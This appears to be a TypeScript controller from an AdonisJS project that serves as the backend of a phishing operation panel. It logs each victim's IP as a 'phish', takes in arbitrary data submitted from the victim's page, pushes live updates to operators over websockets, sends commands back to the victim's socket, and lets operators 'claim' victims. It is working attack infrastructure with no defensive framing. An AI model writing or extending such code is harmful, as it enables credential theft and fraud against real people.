PhishesController.ts 1.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061
  1. import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import Phish from 'App/Models/Phish'
  4. import Ws from 'App/Services/Ws'
  5. export default class PhishesController {
  6. private paginationService = new PaginationService(Phish)
  7. public async index({ request, auth }: HttpContextContract) {
  8. return await this.paginationService.paginate(request.all(), (q) => {
  9. q.where('userId', auth.user!.id).orWhereNull('userId')
  10. })
  11. }
  12. public async store({ request }: HttpContextContract) {
  13. const ip = request.ip()
  14. const id = request.all().id
  15. let phish: Phish | null = null
  16. if (id) {
  17. phish = await Phish.find(id)
  18. }
  19. if (!phish) {
  20. phish = new Phish()
  21. }
  22. phish.ip = ip
  23. phish.online = false
  24. await phish.save()
  25. Ws.hookIO.emit('new', phish)
  26. return phish
  27. }
  28. public async show({ params }: HttpContextContract) {
  29. return await Phish.findOrFail(params.id)
  30. }
  31. public async clientUpdate({ params, request }: HttpContextContract) {
  32. const phish = await Phish.findOrFail(params.id)
  33. phish.merge(request.all())
  34. await phish.save()
  35. Ws.hookIO.emit('update', phish)
  36. return phish
  37. }
  38. public async adminUpdate({ params, request }: HttpContextContract) {
  39. const phish = await Phish.findOrFail(params.id)
  40. phish.merge(request.all())
  41. await phish.save()
  42. Ws.phishIO.to(phish.socketId).emit('update', phish)
  43. return phish
  44. }
  45. public async claim({ params, auth }: HttpContextContract) {
  46. const phish = await Phish.findOrFail(params.id)
  47. if (phish.userId && phish.userId !== auth.user!.id) {
  48. throw new Error('已被他人领取')
  49. }
  50. phish.userId = auth.user!.id
  51. await phish.save()
  52. return phish
  53. }
  54. }